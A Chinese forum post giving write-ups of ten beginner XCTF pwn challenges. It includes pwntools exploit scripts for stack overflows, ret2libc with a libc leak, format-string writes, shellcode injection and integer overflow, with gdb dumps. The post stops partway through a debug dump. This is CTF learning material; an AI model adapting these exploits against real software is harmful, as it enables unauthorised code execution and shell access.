首页
论坛
课程
招聘
[原创]XCTF攻防世界-pwn新手练习区全部十题解析
2021-5-14 00:34 8908

[原创]XCTF攻防世界-pwn新手练习区全部十题解析

2021-5-14 00:34
8908

最近在看《CTF权威指南-pwn篇》,有时候一个题目觉得看懂了exp和知识点,实际上感受不深可能过几天全忘了。所以我选择做真题加深知识的理解。这里,使用攻防世界的所有pwn新手题来温习一些基本的利用方式。

 

p.s. 攻防世界创建在线场景一直失败,真是醉了

hello_pwn

主要逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~     ");
  puts("lets get helloworld for bof");
  read(0, &Buf_601068, 0x10uLL);
  if ( target_60106C == 'nuaa' )
    sub_400686();
  return 0LL;
}
__int64 sub_400686()
{
  system("cat flag.txt");
  return 0LL;
}

典型的ret2win,变量位于.bss段:

1
2
3
4
5
0000601068 ??                Buf_601068 db    ? ;          ; DATA XREF: main+3B↑o
.bss:0000000000601069 ??                db    ? ;
.bss:000000000060106A ??                db    ? ;
.bss:000000000060106B ??                db    ? ;
.bss:000000000060106C ?? ?? ?? ??       target_60106C dd ?            ; DATA XREF: main+4A↑r

直接溢出获取flag:

1
2
3
4
5
6
7
8
9
10
dc@ubuntu:~/playground/xctf_word/pwn$ echo '12345' > flag.txt
dc@ubuntu:~/playground/xctf_word/pwn$ ./4f2f44c9471d4dc2b59768779e378282
~~ welcome to ctf ~~    
lets get helloworld for bof
1111nuaa
dc@ubuntu:~/playground/xctf_word/pwn$ ./4f2f44c9471d4dc2b59768779e378282
~~ welcome to ctf ~~    
lets get helloworld for bof
1111aaun
12345

因为是使用小端序比较数据,所以需要反转下字符串。第一题简单是预想之内的情况,不知道接下来是什么难度。

level0

简单栈溢出,主要流程如下:

1
2
3
4
5
6
7
8
9
10
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]
 
  return read(0, &buf, 0x200uLL);
}
int callsystem()
{
  return system("/bin/sh");
}

这里直接ret2到具体调用system的地方:

1
2
3
4
5
6
text:0000000000400596 55                push    rbp
.text:0000000000400597 48 89 E5          mov     rbp, rsp
.text:000000000040059A BF 84 06 40 00    mov     edi, offset command   ; "/bin/sh"            <------
.text:000000000040059F E8 BC FE FF FF    call    _system
.text:00000000004005A4 5D                pop     rbp
.text:00000000004005A5 C3                retn

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
context.log_level = "DEBUG"
io = process('291721f42a044f50a2aead748d539df0')
win_function = 0x40059A
payload = 'A'*0x88+p64(win_function)
io.recv()
 
pwnlib.gdb.attach(io,gdbscript='''
break *0x4005C5
c
'''
)
pause()
 
io.send(payload)
io.interactive()

level2

题目提示rop,然而我直接ret2libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dc@ubuntu:~/playground/xctf_word/pwn$ pwn checksec 1ab77c073b4f4524b73e086d063f884e
[*] '/home/dc/playground/xctf_word/pwn/1ab77c073b4f4524b73e086d063f884e'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
dc@ubuntu:~/playground/xctf_word/pwn$
 
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]
 
  system("echo Input:");
  return read(0, &buf, 0x100u);
}

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
 
context.log_level = "DEBUG"
io = process('./1ab77c073b4f4524b73e086d063f884e')
elf = ELF('./1ab77c073b4f4524b73e086d063f884e')
hit_binsh = 0x804A024
payload = 'A'*0x8C+p32(elf.sym['system'])+'A'*4+p32(hit_binsh)
io.recv()
 
pwnlib.gdb.attach(io,gdbscript='''
break *0x804847F
c
'''
)
pause()
 
io.send(payload)
io.interactive()

看了下其他人写的wp,似乎rop提示对应的是x64版本的程序,因为x64环境下的传参方式从栈传递变成了寄存器rdi,rsi,rcx,rdx,r8,r9传参,所以调用system时需要特殊gadget(pop rdi)将字符串/bin/sh赋给rdi的形式构造参数。

string

程序流程比较长,这里笔者长话短说简单阐述下程序情况;首先有个alarm会结束程序运行,使用sed -i s/alarm/isnan/g ./1d3c852354df4609bf8e56fe8e9df316将其直接替换掉1
安全机制如下:

1
2
3
4
5
6
7
dc@ubuntu:~/playground/xctf_word/pwn$ pwn checksec 1d3c852354df4609bf8e56fe8e9df316
[*] '/home/dc/playground/xctf_word/pwn/1d3c852354df4609bf8e56fe8e9df316'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

嗯保护很全,程序最后mmap了一段内存让我们输入然后跳过去执行:

1
2
3
4
5
6
7
if ( *HEAP_1_D_2_U == HEAP_1_D_2_U[1] )
{
  puts("Wizard: I will help you! USE YOU SPELL");
  v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
  read(0, v1, 0x100uLL);
  (v1)(0LL, v1);
}

需要使用它的格式化字符串漏洞将堆上的首个数据设置成0x55:

1
2
3
4
5
_isoc99_scanf("%ld", &v2);
puts("And, you wish is:");
_isoc99_scanf("%s", &format);
puts("Your wish is");
printf(&format, &format);

在调试中调用printf时栈情况如下:

1
2
3
4
5
6
7
8
0x00007fffffffdb28+0x0000: 0x0000000000400c83  →   mov edi, 0x401c23     ← $rsp
0x00007fffffffdb30+0x0008: 0x00000001f7dca2a0
0x00007fffffffdb38+0x0010: 0x0000000000604260  →  0x0000005500000044 ("D"?)
0x00007fffffffdb40+0x0018: 0x0000000078243125 ("%1$x"?)     ← $rdi
0x00007fffffffdb48+0x0020: 0x00007ffff7a6f4d3  →  <_IO_file_overflow+259> cmp eax, 0xffffffff
0x00007fffffffdb50+0x0028: 0x0000000000000022 ("""?)
0x00007fffffffdb58+0x0030: 0x00007ffff7dce760  →  0x00000000fbad2887
0x00007fffffffdb60+0x0038: 0x0000000000401a68  →  "So, where you will go?east or up?:"

栈中第二个参数为之前输入的地址数据,那么在x64环境中使用"%7$n"去定位Heap[0],py如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.arch="amd64"
context.log_level = "DEBUG"
io = process('./1d3c852354df4609bf8e56fe8e9df316')
io.recvuntil('secret[0] is ')
secret1 = int(io.recvuntil('\n'),16)
io.recvuntil('secret[1] is ')
secret2 = int(io.recvuntil('\n'),16)
 
log.info("%s %s" % (secret1,secret2))
 
io.recv()
io.sendline('noname')
io.recv()
io.sendline('east')
io.recv()
io.sendline('1')
 
io.recv()           #'Give me an address'
io.sendline(str(secret1))
io.recv()
io.sendline('%085d%7$n')
io.recv()
io.send(asm(shellcraft.sh()))
io.interactive()

guess_num

这题很简单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int input_num; // [rsp+4h] [rbp-3Ch]
  int index; // [rsp+8h] [rbp-38h]
  int rand_num; // [rsp+Ch] [rbp-34h]
  char name; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]
 
  v9 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  input_num = 0;
  rand_num = 0;
  *seed = sub_BB0();
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:", 0LL);
  gets(&name);
  srand(seed[0]);
  for ( index = 0; index <= 9; ++index )
  {
    rand_num = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (index + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &input_num);
    puts("---------------------------------");
    if ( input_num != rand_num )
    {
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }
  win_C3E();
  return 0LL;
}
__int64 sub_BB0()
{
  int fd; // [rsp+Ch] [rbp-14h]
  __int64 buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 || read(fd, &buf, 8uLL) < 0 )
    exit(1);
  if ( fd > 0 )
    close(fd);
  return buf;
}
__int64 sub_C3E()
{
  printf("You are a prophet!\nHere is your flag!");
  system("cat flag");
  return 0LL;
}

程序从/dev/urandom2中取出随机数作为种子,生成十个随机数让我们猜测,猜对十个随机数即可获胜。这里有一个知识点是当seed固定时,之后生成的随机数都是一样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
dc@ubuntu:~/playground/xctf_word/pwn$ cat ten_rand_nums_.c
#include <stdio.h>
#include <stdlib.h>     /* srand, rand */
 
int main(void)
{
    srand(0);
 
    for (int index = 0 ; index != 10 ; index++)
        printf("%d ",(rand()%6+1));
 
    return 0;
}

可以观察下面的输出:

1
2
3
4
dc@ubuntu:~/playground/xctf_word/pwn$ gcc ten_rand_nums_.c -o ten_rand_nums
dc@ubuntu:~/playground/xctf_word/pwn$ ./ten_rand_nums
2 5 4 2 6 2 5 1 4 2 dc@ubuntu:~/playground/xctf_word/pwn$ ./ten_rand_nums
2 5 4 2 6 2 5 1 4 2 dc@ubuntu:~/playground/xctf_word/pwn$

从而我们可以利用程序的缓冲区溢出覆盖掉seed的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
-0000000000000030 name db ?
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
-000000000000002A db ? ; undefined
-0000000000000029 db ? ; undefined
-0000000000000028 db ? ; undefined
-0000000000000027 db ? ; undefined
-0000000000000026 db ? ; undefined
-0000000000000025 db ? ; undefined
-0000000000000024 db ? ; undefined
-0000000000000023 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 seed dd 2 dup(?)

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
context.log_level = "DEBUG"
nums = [2,5,4,2,6,2,5,1,4,2]
 
io = process('./b59204f56a0545e8a22f8518e749f19f')
io.recv()
io.sendline('A'*0x20+'\x00'*4)
 
for num in nums:
    io.recv()
    io.sendline(str(num))
 
io.recv()

效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
dc@ubuntu:~/playground/xctf_word/pwn$ python payload_b59204f56a0545e8a22f8518e749f19f.py
[+] Starting local process './b59204f56a0545e8a22f8518e749f19f' argv=['./b59204f56a0545e8a22f8518e749f19f'] : pid 5635
[DEBUG] Received 0x88 bytes:
    '-------------------------------\n'
    'Welcome to a guess number game!\n'
    '-------------------------------\n'
    'Please let me know your name!\n'
    'Your name:'
[DEBUG] Sent 0x25 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  00 00 00 00  0a                                     │····│·│
    00000025
[DEBUG] Received 0x40 bytes:
    '-------------Turn:1-------------\n'
    'Please input your guess number:'
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x6b bytes:
    '---------------------------------\n'
    'Success!\n'
    '-------------Turn:2-------------\n'
    'Please input your guess number:'
[DEBUG] Sent 0x2 bytes:
    '5\n'
[DEBUG] Received 0x6b bytes:
    '---------------------------------\n'
    'Success!\n'
    '-------------Turn:3-------------\n'
    'Please input your guess number:'
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x6b bytes:
    '---------------------------------\n'
    'Success!\n'
    '-------------Turn:4-------------\n'
    'Please input your guess number:'
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x6b bytes:
    '---------------------------------\n'
    'Success!\n'
    '-------------Turn:5-------------\n'
    'Please input your guess number:'
[DEBUG] Sent 0x2 bytes:
    '6\n'
[DEBUG] Received 0x6b bytes:
    '---------------------------------\n'
    'Success!\n'
    '-------------Turn:6-------------\n'
    'Please input your guess number:'
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x6b bytes:
    '---------------------------------\n'
    'Success!\n'
    '-------------Turn:7-------------\n'
    'Please input your guess number:'
[DEBUG] Sent 0x2 bytes:
    '5\n'
[DEBUG] Received 0x6b bytes:
    '---------------------------------\n'
    'Success!\n'
    '-------------Turn:8-------------\n'
    'Please input your guess number:'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x6b bytes:
    '---------------------------------\n'
    'Success!\n'
    '-------------Turn:9-------------\n'
    'Please input your guess number:'
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x6c bytes:
    '---------------------------------\n'
    'Success!\n'
    '-------------Turn:10-------------\n'
    'Please input your guess number:'
[DEBUG] Sent 0x2 bytes:
    '2\n'
[*] Process './b59204f56a0545e8a22f8518e749f19f' stopped with exit code 0 (pid 5635)
[DEBUG] Received 0x5a bytes:
    '---------------------------------\n'
    'Success!\n'
    'You are a prophet!\n'
    'Here is your flag!fake_flag\n'

int_overflow

题目关键点如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
char *login()
{
  char passwd; // [esp+0h] [ebp-228h]
  char username; // [esp+200h] [ebp-28h]
 
  memset(&username, 0, 0x20u);
  memset(&passwd, 0, 0x200u);
  puts("Please input your username:");
  read(0, &username, 0x19u);
  printf("Hello %s\n", &username);
  puts("Please input your passwd:");
  read(0, &passwd, 0x199u);
  return check_passwd(&passwd);
}
char *__cdecl check_passwd(char *passwd)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 len_passwd; // [esp+Fh] [ebp-9h]
 
  len_passwd = strlen(passwd);
  if ( len_passwd <= 3u || len_passwd > 8u )
  {
    puts("Invalid Password");
    result = fflush(stdout);
  }
  else                                          // 8>=pass>3
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, passwd);
  }
  return result;
}

有个巨大问题是居然使用al赋给变量值:

1
.text:080486B8 88 45 F7          mov     [ebp+len_passwd], al

所以这可以利用整数溢出的方式,构造261个长度的密码并调试到这一行指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$eax   : 0x106    
$ebx   : 0x0      
$ecx   : 0x20     
$edx   : 0x6      
$esp   : 0xffffcbf0  →  0xf7fb5d80  →  0xfbad2887
$ebp   : 0xffffcc08  →  0xffffce48  →  0xffffce68  →  0x00000000
$esi   : 0xf7fb5000  →  0x001d7d8c
$edi   : 0x0      
$eip   : 0x080486b8  →  <check_passwd+20> mov BYTE PTR [ebp-0x9], al
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcbf0+0x0000: 0xf7fb5d80  →  0xfbad2887     ← $esp
0xffffcbf4+0x0004: 0x0804899e  →  "Hello %s\n"
0xffffcbf8+0x0008: 0xf7e44cab  →  <puts+11> add edi, 0x170355
0xffffcbfc+0x000c: 0x00000000
0xffffcc00+0x0010: 0xf7fb5000  →  0x001d7d8c
0xffffcc04+0x0014: 0x00000000
0xffffcc08+0x0018: 0xffffce48  →  0xffffce68  →  0x00000000     ← $ebp
0xffffcc0c+0x001c: 0x080487c4  →  <login+164> add esp, 0x10
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80486ad <check_passwd+9> push   DWORD PTR [ebp+0x8]
    0x80486b0 <check_passwd+12> call   0x8048540 <strlen@plt>
    0x80486b5 <check_passwd+17> add    esp, 0x10
 →  0x80486b8 <check_passwd+20> mov    BYTE PTR [ebp-0x9], al
    0x80486bb <check_passwd+23> cmp    BYTE PTR [ebp-0x9], 0x3
    0x80486bf <check_passwd+27> jbe    0x80486fc <check_passwd+88>
    0x80486c1 <check_passwd+29> cmp    BYTE PTR [ebp-0x9], 0x8
    0x80486c5 <check_passwd+33> ja     0x80486fc <check_passwd+88>
    0x80486c7 <check_passwd+35> sub    esp, 0xc
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "51ed19eacdea43e", stopped 0x80486b8 in check_passwd (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80486b8 → check_passwd()
[#1] 0x80487c4 → login()
[#2] 0x804889c → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 
Breakpoint 1, 0x080486b8 in check_passwd ()
gef➤  p $al
$1 = 0x6

构造py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
 
#context.log_level = "DEBUG"
function_frame = 'A'*0x18+p32(0x804868B)
padding = 'A'*(261-len(function_frame))
payload = function_frame+padding
 
io = process('./51ed19eacdea43e3bd67217d08eb8a0e')
io.recv()
io.send('1\n')
io.recv()
io.send('noname')
io.recv()
io.send(payload)
print(io.recv())

效果:

1
2
3
4
5
6
dc@ubuntu:~/playground/xctf_word/pwn$ python payload_51ed19eacdea43e3bd67217d08eb8a0e.py
[+] Starting local process './51ed19eacdea43e3bd67217d08eb8a0e': pid 5787
Success
fake_flag
 
[*] Stopped process './51ed19eacdea43e3bd67217d08eb8a0e' (pid 5787)

cgpwn2

程序关键点如下:

1
2
3
4
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&message);

gets存在栈溢出危险,我们直接ret到pwn函数中的call system,借用name作为参数'/bin/sh',编写py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
context.log_level = "DEBUG"
 
io = process('./53c24fc5522e4a8ea2d9ad0577196b2f')
io.recv()
io.sendline('/bin/sh\x00')
io.recv()
pwnlib.gdb.attach(io,gdbscript='''
break *0x8048603
c
'''
)
binsh_address = 0x0804A080
pwn_fun = 0x804855A
io.sendline('A'*0x2A+p32(pwn_fun)+p32(binsh_address))
io.interactive()

get_shell

额和名字一样运行就拿shell了:

1
2
3
4
dc@ubuntu:~/playground/xctf_word/pwn$ ./fb99f86956bd401da271f57d22010481
OK,this time we will get a shell.
$ whoami
dc

level3

这题目《ctf竞赛权威指南》上有很相似的例子(page 80),总之就是泄露libc的地址,然后再调用system:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
 
context.log_level = "DEBUG"
libc = ELF('./libc_32.so.6')
elf = ELF('./level3')
vulnerable_function = 0x804844B
u = make_unpacker(32, endian='little', sign='unsigned')
 
#io = process('./level3',env = {'LD_PRELOAD':'~/playground/xctf_word/pwn/level3/libc_32.so.6'}) #full libc path is required
io = remote('127.0.0.1','10001')
io.recv()
payload = 0x8c*'A' + p32(elf.plt['write']) + p32(vulnerable_function) + p32(1) + p32(elf.got['write']) + p32(4)
io.send(payload)
write_got = u32(io.recv()[0:4])
log.info("real write address in libc is 0x%x" % write_got)
 
libc_base = write_got - libc.sym['write']
system_address = libc_base + libc.sym['system']
binsh_address = libc_base + next(libc.search('/bin/sh'))
 
log.info("system address is 0x%x,/bin/sh address is 0x%x" % (system_address,binsh_address))
 
pause()
payload2 = 0x8c*'A' + p32(system_address) + p32(0xdeadbeef) + p32(binsh_address)
io.send(payload2)
io.interactive()

这里参考了大佬的博文更换程序libc3,但运行时还是会报错,索性直接把libc换了然后动态加载器执行:

1
2
dc@ubuntu:~/playground/xctf_word/pwn/level3$ patchelf --replace-needed libc.so.6 ./libc_32.so.6 ./level3
dc@ubuntu:~/playground/xctf_word/pwn/level3$ socat tcp4-listen:10001,reuseaddr,fork exec:'./ld-2.23.so ./level3'

然后用我的exp就成功执行了,反正可以模拟远程连接的环境也就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
dc@ubuntu:~/playground/xctf_word/pwn/level3$ socat - TCP:127.0.0.1:10001
Input:
1
Hello, World!
dc@ubuntu:~/playground/xctf_word/pwn/level3$ python exp.py
[DEBUG] PLT 0x176b0 _Unwind_Find_FDE
[DEBUG] PLT 0x176c0 realloc
[DEBUG] PLT 0x176e0 memalign
[DEBUG] PLT 0x17710 _dl_find_dso_for_object
[DEBUG] PLT 0x17720 calloc
[DEBUG] PLT 0x17730 ___tls_get_addr
[DEBUG] PLT 0x17740 malloc
[DEBUG] PLT 0x17748 free
[*] '/home/dc/playground/xctf_word/pwn/level3/libc_32.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[DEBUG] PLT 0x8048310 read
[DEBUG] PLT 0x8048320 __gmon_start__
[DEBUG] PLT 0x8048330 __libc_start_main
[DEBUG] PLT 0x8048340 write
[*] '/home/dc/playground/xctf_word/pwn/level3/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8047000)
[+] Opening connection to 127.0.0.1 on port 10001: Done
[DEBUG] Received 0x7 bytes:
    'Input:\n'
[DEBUG] Sent 0xa0 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  41 41 41 41  40 83 04 08  │AAAA│AAAA│AAAA│@···│
    00000090  4b 84 04 08  01 00 00 00  18 a0 04 08  04 00 00 00  │K···│····│····│····│
    000000a0
[DEBUG] Received 0xb bytes:
    00000000  c0 43 ef f7  49 6e 70 75  74 3a 0a                  │·C··│Inpu│t:·│
    0000000b
[*] real write address in libc is 0xf7ef43c0
[*] system address is 0xf7e5a940,/bin/sh address is 0xf7f7902b
[*] Paused (press any to continue)
[DEBUG] Sent 0x98 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  41 41 41 41  40 a9 e5 f7  │AAAA│AAAA│AAAA│@···│
    00000090  ef be ad de  2b 90 f7 f7                            │····│+···│
    00000098
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x3 bytes:
    'dc\n'
dc
$

CGfsb

一个典型的字符串格式化漏洞,需要我们修改某个变量的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int buf; // [esp+1Eh] [ebp-7Eh]
  int v5; // [esp+22h] [ebp-7Ah]
  __int16 v6; // [esp+26h] [ebp-76h]
  char message; // [esp+28h] [ebp-74h]
  unsigned int v8; // [esp+8Ch] [ebp-10h]
 
  v8 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf = 0;
  v5 = 0;
  v6 = 0;
  memset(&message, 0, 0x64u);
  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&message, 0x64, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&message);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}

gdb调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
gef➤  break *0x80486CD
Breakpoint 1 at 0x80486cd
gef➤  r
Starting program: /home/dc/playground/xctf_word/pwn/CGfsb
please tell me your name:
noname
leave your message please:
AAAAAAAAA
hello noname
your message is:
 
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffce48  →  "AAAAAAAAA\n"
$ebx   : 0xffffce48  →  "AAAAAAAAA\n"
$ecx   : 0xf7fb5dc7  →  0xfb68900a
$edx   : 0xf7fb6890  →  0x00000000
$esp   : 0xffffce20  →  0xffffce48  →  "AAAAAAAAA\n"
$ebp   : 0xffffcec8  →  0x00000000
$esi   : 0xf7fb5000  →  0x001d7d8c
$edi   : 0xffffceac  →  0xc5585300
$eip   : 0x080486cd  →  <main+256> call 0x8048460 <printf@plt>
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffce20+0x0000: 0xffffce48  →  "AAAAAAAAA\n"     ← $esp
0xffffce24+0x0004: 0xffffce3e  →  "noname\n"
0xffffce28+0x0008: 0xf7fb55c0  →  0xfbad208b
0xffffce2c+0x000c: 0xffffce8c  →  0x00000000
0xffffce30+0x0010: 0xf7ffda9c  →  0xf7fd03e0  →  0xf7ffd940  →  0x00000000
0xffffce34+0x0014: 0x00000001
0xffffce38+0x0018: 0xf7fd0410  →  0x0804834b  →  "GLIBC_2.0"
0xffffce3c+0x001c: 0x6f6e0001
────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80486c1 <main+244>       call   0x8048490 <puts@plt>
    0x80486c6 <main+249>       lea    eax, [esp+0x28]
    0x80486ca <main+253>       mov    DWORD PTR [esp], eax
 →  0x80486cd <main+256>       call   0x8048460 <printf@plt>
   ↳   0x8048460 <printf@plt+0>   jmp    DWORD PTR ds:0x804a014
       0x8048466 <printf@plt+6>   push   0x10
       0x804846b <printf@plt+11>  jmp    0x8048430
       0x8048470 <fgets@plt+0>    jmp    DWORD PTR ds:0x804a018
       0x8048476 <fgets@plt+6>    push   0x18
       0x804847b <fgets@plt+11>   jmp    0x8048430
────────────────────────────────────────────────────────────────────── arguments (guessed) ────
printf@plt (
)
────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "CGfsb", stopped 0x80486cd in main (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80486cd → main()
───────────────────────────────────────────────────────────────────────────────────────────────
 
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffce48  →  "AAAAAAAAA\n"
$ebx   : 0xffffce48  →  "AAAAAAAAA\n"
$ecx   : 0xf7fb5dc7  →  0xfb68900a
$edx   : 0xf7fb6890  →  0x00000000
$esp   : 0xffffce20  →  0xffffce48  →  "AAAAAAAAA\n"
$ebp   : 0xffffcec8  →  0x00000000
$esi   : 0xf7fb5000  →  0x001d7d8c
$edi   : 0xffffceac  →  0xc5585300
$eip   : 0x080486cd  →  <main+256> call 0x8048460 <printf@plt>
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffce20+0x0000: 0xffffce48  →  "AAAAAAAAA\n"     ← $esp
0xffffce24+0x0004: 0xffffce3e  →  "noname\n"
0xffffce28+0x0008: 0xf7fb55c0  →  0xfbad208b
0xffffce2c+0x000c: 0xffffce8c  →  0x00000000
0xffffce30+0x0010: 0xf7ffda9c  →  0xf7fd03e0  →  0xf7ffd940  →  0x00000000
0xffffce34+0x0014: 0x00000001
0xffffce38+0x0018: 0xf7fd0410  →  0x0804834b  →  "GLIBC_2.0"
0xffffce3c+0x001c: 0x6f6e0001
────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80486c1 <main+244>       call   0x8048490 <puts@plt>
    0x80486c6 <main+249>       lea    eax, [esp+0x28]
